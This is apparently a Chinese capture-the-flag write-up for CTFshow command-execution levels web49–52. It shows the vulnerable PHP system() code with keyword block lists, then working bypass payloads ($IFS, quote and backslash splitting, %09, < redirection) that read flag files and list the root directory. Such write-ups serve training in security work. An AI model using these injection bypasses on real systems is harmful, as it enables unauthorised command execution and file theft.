当前位置: 首页 > java >正文

CTFshow系列——命令执行web49-52

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

    • Web49
    • Web50
    • Web51(新payload,打开思路)
    • Web52
      • 尝试payload
    • 总结


Web49

不多说,直接看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里我们与Web48关,进行对比,发现只是增加了 % 的过滤;

我们还可以用\‘’单引号来执行payload:

# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||

其实payload是一样的,没有改变:

在这里插入图片描述


Web50

还是直接看代码,这里都能看出来不同:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

多了对\x09\x26的过滤:

那么多了这两个作用是什么?

  • \x09\x26 的过滤都是为了让命令注入变得更难,它们分别用于防范:

  • \x09: 防止攻击者使用制表符来代替空格,从而执行带有参数的命令。

    • 作用:代码已经过滤了空格 ,攻击者无法使用 ls -al 这样的命令。然而,如果 \x09 没有被过滤,攻击者就可以用制表符来代替空格
    • 攻击示例
    • 原始命令:ls -al
    • 绕过后的命令:ls%09-al

  • \x26: 防止攻击者使用 & 符号来执行多条命令或将命令放入后台。
    • 作用:过滤 &&& 是为了进一步限制攻击者执行多个命令
  • 攻击示例:
    • 原始攻击:ls; cat flag.php (已被分号过滤)

    • & 绕过:ls & cat flag.php

    • && 绕过:ls && cat flag.php

那照这么说,我们的 payload:?c=tac%09fla?.php|| 岂不是用不了了?
事实证明,确实用不了。。。

但是其他payload还是不受影响的:

?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||# 查看源代码
?c=c\at<fl\ag.php||

在这里插入图片描述


Web51(新payload,打开思路)

还是看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里竟然把我们最爱的tac 都给过滤掉了,那我们还能用什么方法进行过滤?

tac被过滤,就用nl
既然'' 能够过滤f’'lag,那么为什么不试试t' 'ac呢?

# payload
?c=nl<f''lag.php||# 这个也不能忘记
?c=c\at<fl\ag.php||
?c=t\ac<fl\ag.php||
?c=n\l<fl\ag.php||
?c=mor\e<fl\ag.php||
?c=les\s<fl\ag.php||# 同理,查看源代码
?c=t''ac<f''lag.php||
?c=mor''e<fla''g.php||
?c=les''s<fla''g.php||

在这里插入图片描述

其他的尝试:
这里还尝试进行Web43,想将flag.php复制到out.txt文件,发现还是不行。

Web52

直接看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

分析代码得知,多了对< > 的过滤:
在这里插入图片描述
还是那个问题:
接下来我们要找<的替代品,或者 空格 的另一种绕过方式;

  • > < &被过滤了,就用${IFS}
    • ${IFS} 的含义:IFS 全称为 “Internal Field Separator”(内部字段分隔符),默认值包含空格、制表符和换行符。在命令行里,${IFS} 可以用来替代空格。
    • 原因:正则表达式过滤了空格字符 ,但没有对 ${IFS} 进行过滤。
    • 所以,当把命令写成ls${IFS}-l时,在正则表达式的检查中,因为不存在被过滤的空格字符,该命令就能通过检查。

当然,我们还可以尝试\ 的payload是否能用:

尝试payload

这里我们输入命令后,发现了东西,但好像有没发现:

?c=t''ac${IFS}f''lag.php||

在这里插入图片描述

是这个字符串的md5值吗,输入进入发现也不是:ctfshow{48dbb53bc7c946dc4b9b8c782b054551}
在这里插入图片描述

那我们进入别的目录查找:

# 查看根目录查看
?c=ls${IFS}/||

在这里插入图片描述

发现flag目录,进入查看是否有flag:

?c=t''ac${IFS}/f''lag||

在这里插入图片描述

好了,得到flag,下面我帮大家把能试出来的都试出来了:

注意:这里关于 反引号\ 作用是一样的,都可以相互替换,我就不进行枚举了:

?c=t''ac${IFS}/f''lag||
?c=c''at${IFS}/f''lag||
?c=nl${IFS}/f''lag||
?c=m''ore${IFS}/f''lag||
?c=l''ess${IFS}/f''lag||# 查看源代码
?c=c\at${IFS}/fl\ag||
?c=t\ac${IFS}/fl\ag||
?c=n\l${IFS}/fl\ag||
?c=mor\e${IFS}/fl\ag||
?c=les\s${IFS}/fl\ag||

好了,差不多就这么点东西了;

总结

本次也是给大家提供了很多payload,但其实规律都是一样的:通过特殊字符进行关键词的绕过,然后再逐渐尝试;

http://www.xdnf.cn/news/18671.html

相关文章:

  • 基于深度学习的眼疾识别系统:从血细胞分类到病理性近视检测
  • 计算机网络:聊天室(UDP)
  • 用户和组笔记
  • 大数据毕业设计选题推荐-基于大数据的北京市医保药品数据分析系统-Spark-Hadoop-Bigdata
  • 基于角色的访问控制(RBAC)研究与Go语言实现
  • 商超客流密度统计误差率↓35%!陌讯多模态融合算法在零售智慧运营的实战解析
  • 美股期权历史市场数据波动特性分析
  • power query自定义查询函数(中午休息一小时
  • 基于Spark的热门旅游景点数据分析系统的设计-django+spider
  • 基于springboot的理商管理平台设计与实现、java/vue/mvc
  • pom.xml 标签整理各个标签的用途和含义
  • 复杂场景鲁棒性突破!陌讯自适应融合算法在厂区越界检测的实战优化​
  • 57 C++ 现代C++编程艺术6-类的内部类
  • DBeaver连接SQL Server集成认证问题解决方案
  • 题解:P13822 「Diligent-OI R2 B」白露为霜_奇偶性_数学归纳_算法竞赛C++
  • 将C++资源管理测试框架整合到GitLab CI/CD的完整实践指南
  • ffmpeg 问答系列-> mux 部分
  • C6.1:发射极偏置放大器
  • 阿里 通义千问 Java23种设计模式
  • IDM 下载失败排查指南:全面解析与解决方案
  • 深入解析 std::enable_if:原理、用法与现代 C++ 实践
  • 编程与数学 02-017 Python 面向对象编程 20课题、迭代器模式
  • 大数据毕业设计选题推荐-基于大数据的丙型肝炎患者数据可视化分析系统-Hadoop-Spark-数据可视化-BigData
  • 深入解析十大经典排序算法原理与实现
  • 室联人形机器人:家政服务任务结构化、技术要点、深入应用FPGA的控制系统框架设计(整合版A)
  • 【运维进阶】高可用和负载均衡技术
  • Django的Serializers与 fastapi 的Pydantic
  • 【R语言】R语言中 rbind() 与 merge() 的区别详解
  • 网络编程-创建TCP协议服务器
  • 疏老师-python训练营-Day54Inception网络及其思考